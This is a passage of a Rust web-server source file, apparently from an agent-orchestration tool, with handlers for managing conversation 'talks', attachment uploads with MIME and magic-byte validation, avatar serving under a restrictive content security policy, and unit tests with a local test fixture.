7158 tracing::warn!("talk {id} lost its turn lease; not draining further");
7161 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
7162 if let Some(turn) = turn.take() {
7163 turn.release(&mut live);
7164 }
7165 break;
7166 }
7167 {
7168 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
7171 if live.parking {
7172 if let Some(turn) = turn.take() {
7173 turn.release(&mut live);
7174 }
7175 break;
7176 }
7177 }
7178 let observed = live_set
7182 .lock()
7183 .unwrap_or_else(PoisonError::into_inner)
7184 .queued
7185 .get(&id)
7186 .copied()
7187 .unwrap_or(0);
7188 let drained = blocking({
7189 let talks = talks.clone();
7190 let live_set = Arc::clone(&live_set);
7191 move || {
7192 let live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
7197 let result = if live.parking {
7198 Ok(None)
7199 } else {
7200 talk::drain(&mut talk, &talks)
7201 };
7202 drop(live);
7203 Ok((talk, result))
7204 }
7205 })
7206 .await;
7207 let (next_talk, result) = match drained {
7208 Ok(drained) => drained,
7209 Err(e) => {
7210 tracing::warn!(
7211 status = %e.status,
7212 message = %e.message,
7213 "talk {id} could not start queued-text drain"
7214 );
7215 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
7216 turn.take()
7217 .expect("held for the whole loop until released here")
7218 .release(&mut live);
7219 break;
7220 }
7221 };
7222 talk = next_talk;
7223 let drained = match result {
7224 Ok(Some(drained)) => drained,
7225 Ok(None) => {
7226 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
7227 if live.queued.get(&id).copied().unwrap_or(0) != observed {
7228 continue;
7229 }
7230 turn.take()
7231 .expect("held for the whole loop until released here")
7232 .release(&mut live);
7233 break;
7234 }
7235 Err(e) => {
7236 tracing::warn!("talk {id} could not drain queued text: {e:#}");
7237 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
7238 turn.take()
7239 .expect("held for the whole loop until released here")
7240 .release(&mut live);
7241 break;
7242 }
7243 };
7244 if let Some(started) = started.take() {
7245 let _ = started.send(true);
7246 }
7247 let responded = match turn.as_ref() {
7248 Some(turn) => turn.respond(&mut talk, &talks, &cfg, &drained).await,
7249 None => Err(anyhow::anyhow!("the turn guard was released")),
7250 };
7251 if let Err(e) = responded {
7252 tracing::warn!("talk {id} turn failed: {e:#}");
7253 }
7254 }
7255 drop(turn);
7256 if let Some(started) = started {
7257 let _ = started.send(false);
7258 }
7259}
7260
7261async fn talk_pending_clear(
7263 State(ui): State<Arc<Ui>>,
7264 Path(id): Path<String>,
7265 body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
7266) -> ApiResult<Json<TalkView>> {
7267 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7268 blocking(move || {
7269 let id = resolve_talk(&ui.talks, &id)?;
7270 let mut talk = ui.talks.get(&id)?;
7271 if !talk.status.open() {
7272 return Err(ApiError::conflict(format!(
7273 "talk {} is {} and takes no more turns",
7274 talk.short(),
7275 talk.status.as_str()
7276 )));
7277 }
7278 if !talk::clear_pending_if_matches(
7279 &mut talk,
7280 &ui.talks,
7281 &body.expected_text,
7282 &body.expected_attachments,
7283 )? {
7284 return Err(ApiError::conflict(
7285 "queued message changed; reload it before clearing",
7286 ));
7287 }
7288 let thinking = ui.is_thinking(&talk.id);
7289 Ok(Json(TalkView::new(talk, thinking)))
7290 })
7291 .await
7292}
7293
7294async fn talk_pending_edit(
7298 State(ui): State<Arc<Ui>>,
7299 Path(id): Path<String>,
7300 body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
7301) -> ApiResult<Json<TalkView>> {
7302 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7303 let (view, reclaimed) = blocking({
7304 let ui = Arc::clone(&ui);
7305 move || {
7306 let id = resolve_talk(&ui.talks, &id)?;
7307 let mut talk = ui.talks.get(&id)?;
7308 if !talk.status.open() {
7309 return Err(ApiError::conflict(format!(
7310 "talk {} is {} and takes no more turns",
7311 talk.short(),
7312 talk.status.as_str()
7313 )));
7314 }
7315 if !talk::edit_pending_message(
7316 &mut talk,
7317 &ui.talks,
7318 &body.text,
7319 &body.expected_text,
7320 &body.expected_attachments,
7321 body.message,
7322 )? {
7323 return Err(ApiError::conflict(
7324 "queued message changed; reload it before editing",
7325 ));
7326 }
7327 let claim = match ui.begin_queued_talk_turn(&id)? {
7328 Some(turn_guard) => {
7329 let (cfg, _) = Config::discover(&talk.repo, None)?;
7330 Some((talk.clone(), cfg, id.clone(), turn_guard))
7331 }
7332 None => None,
7333 };
7334 let thinking = ui.is_thinking(&id);
7335 Ok((TalkView::new(talk, thinking), claim))
7336 }
7337 })
7338 .await?;
7339 if let Some((talk, cfg, id, turn_guard)) = reclaimed {
7340 let talks = ui.talks.clone();
7341 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
7342 }
7343 Ok(Json(view))
7344}
7345
7346fn refuse_if_closed(talk: &Talk) -> ApiResult<()> {
7348 if talk.status.open() {
7349 return Ok(());
7350 }
7351 Err(ApiError::conflict(format!(
7352 "talk {} is {} and takes no more turns",
7353 talk.short(),
7354 talk.status.as_str()
7355 )))
7356}
7357
7358#[derive(Debug, Deserialize)]
7360struct TalkAgent {
7361 agent: String,
7362}
7363
7364async fn talk_agent(
7369 State(ui): State<Arc<Ui>>,
7370 Path(id): Path<String>,
7371 Json(body): Json<TalkAgent>,
7372) -> ApiResult<Json<TalkView>> {
7373 let id = {
7374 let ui = Arc::clone(&ui);
7375 blocking(move || resolve_talk(&ui.talks, &id)).await?
7376 };
7377 let repo = {
7378 let ui = Arc::clone(&ui);
7379 let id = id.clone();
7380 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
7381 };
7382 let cfg = config_for(&repo).await?;
7383 {
7385 let ui = Arc::clone(&ui);
7386 let id = id.clone();
7387 let cfg = cfg.clone();
7388 let wanted = body.agent.clone();
7389 blocking(move || {
7390 agent::pick(&cfg.agents, Some(&wanted), &agent::installed)
7391 .map_err(ApiError::bad_request_from)?;
7392 refuse_if_closed(&ui.talks.get(&id)?)
7393 })
7394 .await?;
7395 }
7396 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
7397 return Err(ApiError::conflict(
7398 "a talk turn is running; change the agent once it has answered",
7399 ));
7400 };
7401 let switched = {
7402 let ui = Arc::clone(&ui);
7403 let id = id.clone();
7404 let cfg = cfg.clone();
7405 blocking(move || {
7406 let spec = agent::pick(&cfg.agents, Some(&body.agent), &agent::installed)
7407 .map_err(ApiError::bad_request_from)?;
7408 let mut talk = ui.talks.get(&id)?;
7409 if !talk.status.open() {
7410 return Err(ApiError::conflict(format!(
7411 "talk {} is {} and takes no more turns",
7412 talk.short(),
7413 talk.status.as_str()
7414 )));
7415 }
7416 talk::switch_agent(&mut talk, &ui.talks, &spec)?;
7417 Ok(talk)
7418 })
7419 .await
7420 };
7421 let observed = ui.queued_generation(&id);
7426 let fresh = {
7427 let ui = Arc::clone(&ui);
7428 let id = id.clone();
7429 blocking(move || Ok(ui.talks.get(&id)?)).await
7430 };
7431 let draining = match fresh {
7432 Ok(talk) => {
7433 settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
7434 }
7435 Err(_) => false,
7436 };
7437 let talk = switched?;
7438 Ok(Json(TalkView::new(talk, draining)))
7439}
7440
7441#[derive(Debug, Deserialize)]
7443struct TalkPersona {
7444 persona: String,
7445}
7446
7447async fn talk_persona(
7451 State(ui): State<Arc<Ui>>,
7452 Path(id): Path<String>,
7453 Json(body): Json<TalkPersona>,
7454) -> ApiResult<Json<TalkView>> {
7455 let id = {
7456 let ui = Arc::clone(&ui);
7457 blocking(move || resolve_talk(&ui.talks, &id)).await?
7458 };
7459 let repo = {
7460 let ui = Arc::clone(&ui);
7461 let id = id.clone();
7462 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
7463 };
7464 let cfg = config_for(&repo).await?;
7465 {
7467 let ui = Arc::clone(&ui);
7468 let id = id.clone();
7469 let cfg = cfg.clone();
7470 let wanted = body.persona.clone();
7471 blocking(move || {
7472 if persona::find(&cfg.talk.personas, &wanted).is_none() {
7473 return Err(ApiError::bad_request(format!("unknown persona `{wanted}`")));
7474 }
7475 refuse_if_closed(&ui.talks.get(&id)?)
7476 })
7477 .await?;
7478 }
7479 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
7480 return Err(ApiError::conflict(
7481 "a talk turn is running; change the persona once it has answered",
7482 ));
7483 };
7484 let switched = {
7485 let ui = Arc::clone(&ui);
7486 let id = id.clone();
7487 let cfg = cfg.clone();
7488 blocking(move || {
7489 let Some(chosen) = persona::find(&cfg.talk.personas, &body.persona) else {
7490 return Err(ApiError::bad_request(format!(
7491 "unknown persona `{}`",
7492 body.persona
7493 )));
7494 };
7495 let mut talk = ui.talks.get(&id)?;
7496 if !talk.status.open() {
7497 return Err(ApiError::conflict(format!(
7498 "talk {} is {} and takes no more turns",
7499 talk.short(),
7500 talk.status.as_str()
7501 )));
7502 }
7503 talk::switch_persona(&mut talk, &ui.talks, &chosen.id)?;
7504 Ok(talk)
7505 })
7506 .await
7507 };
7508 let observed = ui.queued_generation(&id);
7510 let fresh = {
7511 let ui = Arc::clone(&ui);
7512 let id = id.clone();
7513 blocking(move || Ok(ui.talks.get(&id)?)).await
7514 };
7515 let draining = match fresh {
7516 Ok(talk) => {
7517 settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
7518 }
7519 Err(_) => false,
7520 };
7521 let talk = switched?;
7522 Ok(Json(TalkView::new(talk, draining)))
7523}
7524
7525#[derive(Debug, Deserialize)]
7527struct TalkImplementers {
7528 implementers: u8,
7529}
7530
7531async fn talk_implementers(
7535 State(ui): State<Arc<Ui>>,
7536 Path(id): Path<String>,
7537 Json(body): Json<TalkImplementers>,
7538) -> ApiResult<Json<TalkView>> {
7539 let id = {
7540 let ui = Arc::clone(&ui);
7541 blocking(move || resolve_talk(&ui.talks, &id)).await?
7542 };
7543 let repo = {
7544 let ui = Arc::clone(&ui);
7545 let id = id.clone();
7546 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
7547 };
7548 let cfg = config_for(&repo).await?;
7549 {
7554 let ui = Arc::clone(&ui);
7555 let id = id.clone();
7556 let cfg = cfg.clone();
7557 let wanted = body.implementers;
7558 blocking(move || {
7559 talk::check_implementers(wanted, &cfg).map_err(ApiError::bad_request)?;
7560 refuse_if_closed(&ui.talks.get(&id)?)
7561 })
7562 .await?;
7563 }
7564 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
7565 return Err(ApiError::conflict(
7566 "a talk turn is running; change the implementers once it has answered",
7567 ));
7568 };
7569 let switched = {
7570 let ui = Arc::clone(&ui);
7571 let id = id.clone();
7572 let cfg = cfg.clone();
7573 blocking(move || {
7574 let chosen =
7575 talk::check_implementers(body.implementers, &cfg).map_err(ApiError::bad_request)?;
7576 let mut talk = ui.talks.get(&id)?;
7577 if !talk.status.open() {
7578 return Err(ApiError::conflict(format!(
7579 "talk {} is {} and takes no more turns",
7580 talk.short(),
7581 talk.status.as_str()
7582 )));
7583 }
7584 talk::switch_implementers(&mut talk, &ui.talks, chosen)?;
7585 Ok(talk)
7586 })
7587 .await
7588 };
7589 let observed = ui.queued_generation(&id);
7591 let fresh = {
7592 let ui = Arc::clone(&ui);
7593 let id = id.clone();
7594 blocking(move || Ok(ui.talks.get(&id)?)).await
7595 };
7596 let draining = match fresh {
7597 Ok(talk) => {
7598 settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
7599 }
7600 Err(_) => false,
7601 };
7602 let talk = switched?;
7603 Ok(Json(TalkView::new(talk, draining)))
7604}
7605
7606async fn talk_close(
7608 State(ui): State<Arc<Ui>>,
7609 Path(id): Path<String>,
7610) -> ApiResult<Json<TalkView>> {
7611 blocking(move || {
7612 let id = resolve_talk(&ui.talks, &id)?;
7613 let mut talk = ui.talks.get(&id)?;
7614 talk::close(&mut talk, &ui.talks)?;
7615 let thinking = ui.is_thinking(&talk.id);
7616 Ok(Json(TalkView::new(talk, thinking)))
7617 })
7618 .await
7619}
7620
7621async fn talk_reopen(
7623 State(ui): State<Arc<Ui>>,
7624 Path(id): Path<String>,
7625) -> ApiResult<Json<TalkView>> {
7626 blocking(move || {
7627 let id = resolve_talk(&ui.talks, &id)?;
7628 let mut talk = ui.talks.get(&id)?;
7629 talk::reopen(&mut talk, &ui.talks)?;
7630 let thinking = ui.is_thinking(&talk.id);
7631 Ok(Json(TalkView::new(talk, thinking)))
7632 })
7633 .await
7634}
7635
7636async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
7646 blocking(move || {
7647 let id = resolve_talk(&ui.talks, &id)?;
7648 ui.talks.remove(&id)?;
7649 Ok(StatusCode::NO_CONTENT)
7650 })
7651 .await
7652}
7653
7654fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
7656 pick(store.list().into_iter().map(|t| t.id).collect(), id, "talk")
7657}
7658
7659async fn talk_attachment_post(
7662 State(ui): State<Arc<Ui>>,
7663 Path(id): Path<String>,
7664 headers: HeaderMap,
7665 body: Bytes,
7666) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
7667 let mime = validate_attachment(&headers, &body)?;
7668 let name = filename_header(&headers);
7669 let data = body.to_vec();
7670 blocking(move || {
7671 let id = resolve_talk(&ui.talks, &id)?;
7672 let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
7673 Ok((StatusCode::CREATED, Json(att)))
7674 })
7675 .await
7676}
7677
7678async fn talk_attachment_get(
7681 State(ui): State<Arc<Ui>>,
7682 Path((id, att)): Path<(String, String)>,
7683) -> ApiResult<Response> {
7684 blocking(move || {
7685 let id = resolve_talk(&ui.talks, &id)?;
7686 let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
7687 return Err(ApiError::not_found(format!(
7688 "talk {id} has no attachment `{att}`"
7689 )));
7690 };
7691 Ok(attachment_response(&meta.mime, data))
7692 })
7693 .await
7694}
7695
7696fn avatar_url(talk_id: &str, p: &persona::Persona) -> String {
7699 let mut id = String::new();
7700 for b in p.id.bytes() {
7701 if b.is_ascii_alphanumeric() || b"-_.".contains(&b) {
7702 id.push(char::from(b));
7703 } else {
7704 id.push_str(&format!("%{b:02X}"));
7705 }
7706 }
7707 format!(
7708 "/api/talks/{talk_id}/avatar?persona={id}&v={}",
7709 persona_icon::fingerprint(p.icon.as_deref())
7710 )
7711}
7712
7713#[derive(Debug, Default, Deserialize)]
7714struct AvatarQuery {
7715 persona: Option<String>,
7716 builtin: Option<String>,
7718}
7719
7720const AVATAR_CSP: &str = "default-src 'none'; style-src 'unsafe-inline'; sandbox";
7722
7723fn builtin_avatar(id: &str) -> Response {
7724 svg_avatar(persona_icon::builtin_svg(id))
7725}
7726
7727async fn operator_avatar() -> Response {
7728 svg_avatar(persona_icon::operator_svg())
7729}
7730
7731fn svg_avatar(svg: &'static str) -> Response {
7732 (
7733 [
7734 (header::CONTENT_TYPE, "image/svg+xml"),
7735 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
7736 (header::CONTENT_SECURITY_POLICY, AVATAR_CSP),
7737 (header::CACHE_CONTROL, "no-cache"),
7738 ],
7739 svg,
7740 )
7741 .into_response()
7742}
7743
7744async fn talk_avatar(
7749 State(ui): State<Arc<Ui>>,
7750 Path(id): Path<String>,
7751 Query(q): Query<AvatarQuery>,
7752) -> ApiResult<Response> {
7753 blocking(move || {
7754 let id = resolve_talk(&ui.talks, &id)?;
7755 let talk = ui.talks.get(&id)?;
7756 let wanted = q
7757 .persona
7758 .as_deref()
7759 .map(str::trim)
7760 .filter(|p| !p.is_empty())
7761 .unwrap_or(&talk.persona)
7762 .to_owned();
7763 let specs = match Config::discover(&talk.repo, None) {
7764 Ok((cfg, _)) => cfg.talk.personas,
7765 Err(e) => {
7766 tracing::warn!("avatar: cannot read the config for talk {id}: {e:#}");
7767 Vec::new()
7768 }
7769 };
7770 let Some(found) = persona::find(&specs, &wanted) else {
7771 return Ok(builtin_avatar(persona::DEFAULT_ID));
7772 };
7773 let Some(icon) = found.icon.as_deref().filter(|_| q.builtin.is_none()) else {
7774 return Ok(builtin_avatar(&found.id));
7775 };
7776 match persona_icon::load(icon) {
7777 Ok((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
7778 let mut res = attachment_response(mime, bytes);
7779 res.headers_mut().insert(
7780 header::CACHE_CONTROL,
7781 header::HeaderValue::from_static("no-cache"),
7782 );
7783 Ok(res)
7784 }
7785 Ok((mime, _)) => {
7786 tracing::warn!(
7787 "avatar: icon of persona `{}` is not really {mime}; using the built-in",
7788 found.id
7789 );
7790 Ok(builtin_avatar(&found.id))
7791 }
7792 Err(e) => {
7793 tracing::warn!(
7794 "avatar: icon of persona `{}` unusable ({e:#}); using the built-in",
7795 found.id
7796 );
7797 Ok(builtin_avatar(&found.id))
7798 }
7799 }
7800 })
7801 .await
7802}
7803
7804fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
7815 if data.len() > ATTACHMENT_MAX_BYTES {
7816 return Err(ApiError::bad_request(format!(
7817 "attachment is {} bytes, over the {} MiB limit",
7818 data.len(),
7819 ATTACHMENT_MAX_BYTES / (1024 * 1024)
7820 ))
7821 .with_status(StatusCode::PAYLOAD_TOO_LARGE));
7822 }
7823 if data.is_empty() {
7824 return Err(ApiError::bad_request("attachment is empty"));
7825 }
7826 let declared = declared_mime(headers)?;
7827 match sniffed_mime(data) {
7828 Some(sniffed) if sniffed == declared => Ok(declared),
7829 Some(sniffed) => Err(ApiError::bad_request(format!(
7830 "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
7831 ))),
7832 None => Err(ApiError::bad_request(
7833 "the file's bytes do not match any accepted image format",
7834 )),
7835 }
7836}
7837
7838fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
7842 let raw = headers
7843 .get(header::CONTENT_TYPE)
7844 .and_then(|v| v.to_str().ok())
7845 .unwrap_or("")
7846 .split(';')
7847 .next()
7848 .unwrap_or("")
7849 .trim()
7850 .to_ascii_lowercase();
7851 ATTACHMENT_MIME_WHITELIST
7852 .iter()
7853 .find(|&&m| m == raw)
7854 .copied()
7855 .ok_or_else(|| {
7856 if raw == "image/svg+xml" {
7857 ApiError::bad_request(
7858 "SVG is not accepted: it can carry active content (e.g. a <script>), \
7859 not just a picture",
7860 )
7861 } else if raw.is_empty() {
7862 ApiError::bad_request("Content-Type is required for an attachment upload")
7863 } else {
7864 ApiError::bad_request(format!(
7865 "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
7866 image/gif or image/webp"
7867 ))
7868 }
7869 })
7870}
7871
7872fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
7875 if data.starts_with(b"\x89PNG\r\n\x1a\n") {
7876 Some("image/png")
7877 } else if data.starts_with(b"\xff\xd8\xff") {
7878 Some("image/jpeg")
7879 } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
7880 Some("image/gif")
7881 } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
7882 Some("image/webp")
7883 } else {
7884 None
7885 }
7886}
7887
7888fn filename_header(headers: &HeaderMap) -> String {
7894 headers
7895 .get(FILENAME_HEADER)
7896 .and_then(|v| v.to_str().ok())
7897 .map(str::trim)
7898 .filter(|s| !s.is_empty())
7899 .unwrap_or("attachment")
7900 .to_owned()
7901}
7902
7903fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
7910 let content_type = ATTACHMENT_MIME_WHITELIST
7911 .iter()
7912 .find(|&&m| m == mime)
7913 .copied()
7914 .unwrap_or("application/octet-stream");
7915 (
7916 [
7917 (header::CONTENT_TYPE, content_type),
7918 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
7919 ],
7920 body,
7921 )
7922 .into_response()
7923}
7924
7925async fn config_for(repo: &FsPath) -> ApiResult<Config> {
7933 let repo = repo.to_path_buf();
7934 blocking(move || {
7935 let (cfg, _) = Config::discover(&repo, None)?;
7936 Ok(cfg)
7937 })
7938 .await
7939}
7940
7941fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
7947 let mut hits = ids
7948 .into_iter()
7949 .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
7950 match (hits.next(), hits.next()) {
7951 (Some(one), None) => Ok(one),
7952 (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
7953 (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
7954 "`{prefix}` matches more than one {what}, including {a} and {b}"
7955 ))),
7956 }
7957}
7958
7959#[cfg(test)]
7960mod tests {
7961
7962 #[test]
7963 fn holder_reads_the_lease_not_the_record() {
7964 let mut q = Question::new(
7965 "run".to_owned(),
7966 "implement".to_owned(),
7967 "impl-A".to_owned(),
7968 "which?".to_owned(),
7969 String::new(),
7970 Vec::new(),
7971 );
7972 assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
7973 q.cwd = Some("/tmp".to_owned());
7974 assert_eq!(holder_of(&q, None), Some("nobody"));
7975 let beat = |kind, ago: i64| ask::Lease {
7976 kind,
7977 pid: 1,
7978 beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
7979 .unwrap(),
7980 };
7981 let fresh = beat(ask::WaiterKind::Asker, 1);
7982 assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
7983 let daemon = beat(ask::WaiterKind::Daemon, 1);
7984 assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
7985 let stale = beat(ask::WaiterKind::Asker, 3600);
7986 assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
7987
7988 let mut c = Question::new(
7991 "task".to_owned(),
7992 crate::conduct::NODE.to_owned(),
7993 "conduct".to_owned(),
7994 "which?".to_owned(),
7995 String::new(),
7996 Vec::new(),
7997 );
7998 assert_eq!(holder_of(&c, None), Some("nobody"));
7999 c.cwd = Some("/tmp".to_owned());
8000 c.deputy = Some(ask::Deputy::new("brief".to_owned()));
8001 assert_eq!(holder_of(&c, Some(&fresh)), Some("deputy"));
8002 let deputy = beat(ask::WaiterKind::Deputy, 1);
8003 assert_eq!(holder_of(&c, Some(&deputy)), Some("deputy"));
8004 assert_eq!(holder_of(&c, Some(&stale)), Some("nobody"));
8005
8006 let mut r = Question::new(
8008 String::new(),
8009 crate::bump::NOTICE_NODE.to_owned(),
8010 "release-watch".to_owned(),
8011 "stuck?".to_owned(),
8012 String::new(),
8013 vec!["hold".to_owned()],
8014 );
8015 assert_eq!(holder_of(&r, None), Some("nobody"));
8016 r.deputy = Some(ask::Deputy::new("brief".to_owned()));
8017 assert_eq!(holder_of(&r, Some(&fresh)), Some("deputy"));
8018 r.deputy = None;
8020 r.seat = "bump".to_owned();
8021 assert_eq!(holder_of(&r, None), None);
8022
8023 let mut m = Question::new(
8026 "run".to_owned(),
8027 crate::land::APPROVAL_NODE.to_owned(),
8028 "land".to_owned(),
8029 "merge?".to_owned(),
8030 String::new(),
8031 Vec::new(),
8032 );
8033 assert_eq!(holder_of(&m, None), Some("nobody"));
8034 assert_eq!(
8035 holder_of(&m, Some(&fresh)),
8036 Some("nobody"),
8037 "a lease with no deputy is not a listener"
8038 );
8039 m.deputy = Some(ask::Deputy::new("brief".to_owned()));
8040 assert_eq!(holder_of(&m, Some(&deputy)), Some("deputy"));
8041 assert_eq!(holder_of(&m, Some(&stale)), Some("nobody"));
8042 assert_eq!(holder_of(&m, None), Some("nobody"));
8043 }
8044
8045 fn stub_config() -> Config {
8046 Config {
8049 agents: vec![crate::config::AgentSpec {
8050 id: "stub".to_owned(),
8051 kind: AgentKind::Command,
8052 model: None,
8053 command: vec!["true".to_owned()],
8054 extra_args: Vec::new(),
8055 env: Default::default(),
8056 prompt_delivery: None,
8057 }],
8058 ..Config::default()
8059 }
8060 }
8061
8062 fn plain_question(seat: &str) -> Question {
8063 Question::new(
8064 String::new(),
8065 "n".to_owned(),
8066 seat.to_owned(),
8067 "s".to_owned(),
8068 String::new(),
8069 Vec::new(),
8070 )
8071 }
8072
8073 #[test]
8074 fn deputies_enabled_follows_the_config() {
8075 let on = stub_config();
8076 assert!(crate::deputy::can_start(Some(&on), ""));
8077 assert!(crate::deputy::can_start(Some(&on), "stub"));
8078 let mut off = on.clone();
8079 off.daemon.max_deputies = 0;
8080 assert!(!crate::deputy::can_start(Some(&off), ""));
8081 let mut empty = on;
8082 empty.agents.clear();
8083 assert!(!crate::deputy::can_start(Some(&empty), ""));
8084 assert!(!crate::deputy::can_start(None, ""));
8085 }
8086
8087 #[test]
8088 fn question_views_load_the_config_once() {
8089 let dir = TempDir::new().unwrap();
8090 let store = ask::Questions::at(dir.path().to_path_buf());
8091 let mut with_deputy = plain_question("b");
8092 with_deputy.deputy = Some(ask::Deputy::new("brief".to_owned()));
8093 let qs = vec![plain_question("a"), with_deputy, plain_question("c")];
8094
8095 let calls = std::cell::Cell::new(0usize);
8096 let views = question_views(qs.clone(), &store, || {
8097 calls.set(calls.get() + 1);
8098 Some(stub_config())
8099 });
8100 assert_eq!(calls.get(), 1);
8101 assert_eq!(views.len(), 3);
8102 for (v, q) in views.iter().zip(&qs) {
8103 assert_eq!(
8104 v.deputies_enabled,
8105 crate::deputy::can_start(Some(&stub_config()), crate::deputy::agent_of(q))
8106 );
8107 }
8108
8109 let views = question_views(qs, &store, || None);
8110 assert!(views.iter().all(|v| !v.deputies_enabled));
8111
8112 let calls = std::cell::Cell::new(0usize);
8113 let views = question_views(Vec::new(), &store, || {
8114 calls.set(calls.get() + 1);
8115 None
8116 });
8117 assert!(views.is_empty());
8118 assert_eq!(calls.get(), 0);
8119 }
8120
8121 use pretty_assertions::assert_eq;
8122 use serde_json::Value;
8123 use tempfile::TempDir;
8124 use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
8125
8126 use super::*;
8127 use crate::config::Config;
8128 use crate::queue::Source;
8129
8130 const SETTLE_STEPS: usize = 3_000;
8141
8142 struct Fixture {
8148 home: TempDir,
8149 addr: SocketAddr,
8150 }
8151
8152 impl Fixture {
8153 async fn start() -> Self {
8154 Self::with_loop(launch_idle).await
8155 }
8156
8157 async fn with_loop(launch: Launch) -> Self {
8159 let home = TempDir::new().expect("temp home");
8160 let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch, None).await;
8161 Self { home, addr }
8162 }
8163
8164 async fn with_repo(repo: PathBuf) -> Self {
8168 let home = TempDir::new().expect("temp home");
8169 let addr = Self::serve(home.path(), repo, launch_idle, None).await;
8170 Self { home, addr }
8171 }
8172
8173 async fn with_repo_and_machine(repo: PathBuf, machine: PathBuf) -> Self {
8176 let home = TempDir::new().expect("temp home");
8177 let addr = Self::serve(home.path(), repo, launch_idle, Some(machine)).await;
8178 Self { home, addr }
8179 }
8180
8181 async fn serve(
8182 home: &FsPath,
8183 repo: PathBuf,
8184 launch: Launch,
8185 machine: Option<PathBuf>,
8186 ) -> SocketAddr {
8187 let queue = Queue::at(home.join("queue"));
8188 let runs = home.join("runs");
8189 std::fs::create_dir_all(&runs).expect("runs dir");
8190 let worktrees = home.join("wt").join("magi");
8191 std::fs::create_dir_all(&worktrees).expect("worktrees dir");
8192 let ui = Ui::new(
8193 queue,
8194 Questions::at(home.join("questions")),
8195 Talks::at(home.join("talks")),
8196 runs,
8197 home.to_path_buf(),
8198 repo,
8199 )
8200 .with_worktrees_root(worktrees)
8201 .with_machine_config(machine)
8202 .with_launch(launch);
8203 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
8204 .await
8205 .expect("bind loopback");
8206 let addr = listener.local_addr().expect("local addr");
8207 tokio::spawn(async move {
8208 let router = ui
8209 .router()
8210 .layer(axum::middleware::from_fn(request_cost::observe));
8211 let _ = axum::serve(listener, router).await;
8212 });
8213 addr
8214 }
8215
8216 fn queue(&self) -> Queue {
8217 Queue::at(self.home.path().join("queue"))
8218 }
8219
8220 fn questions(&self) -> Questions {
8221 Questions::at(self.home.path().join("questions"))
8222 }
8223
8224 fn talks(&self) -> Talks {
8225 Talks::at(self.home.path().join("talks"))
8226 }
8227
8228 fn runs(&self) -> PathBuf {
8229 self.home.path().join("runs")
8230 }
8231
8232 async fn get(&self, path: &str) -> Res {
8233 request(self.addr, "GET", path, None).await
8234 }
8235
8236 async fn head(&self, path: &str) -> Res {
8241 request(self.addr, "HEAD", path, None).await
8242 }
8243
8244 async fn post(&self, path: &str, body: Option<&str>) -> Res {
8245 request(self.addr, "POST", path, body).await
8246 }
8247
8248 async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
8249 request_with(self.addr, "GET", path, None, extra).await
8250 }
8251
8252 async fn delete(&self, path: &str) -> Res {
8253 request(self.addr, "DELETE", path, None).await
8254 }
8255
8256 async fn put(&self, path: &str, body: &str) -> Res {
8257 request(self.addr, "PUT", path, Some(body)).await
8258 }
8259
8260 async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
8262 request_bytes(self.addr, path, headers, body).await
8263 }
8264 }
8265
8266 async fn performance_repositories() -> (TempDir, [PathBuf; 2]) {
8269 let tmp = TempDir::new().unwrap();
8270 let mut repos = Vec::new();
8271 for name in ["one", "two"] {
8272 let repo = tmp.path().join(name);
8273 let origin = tmp.path().join(format!("{name}.git"));
8274 std::fs::create_dir_all(&repo).unwrap();
8275 crate::git::git(&repo, &["init", "-b", "main"])
8276 .await
8277 .unwrap();
8278 std::fs::write(
8279 repo.join("magi.toml"),
8280 format!("{MOCK_AGENT_TOML}\n[repos]\nroots = []\n[update]\nmode = \"off\"\n[verify]\ne2e = []\ngate = []\n"),
8281 )
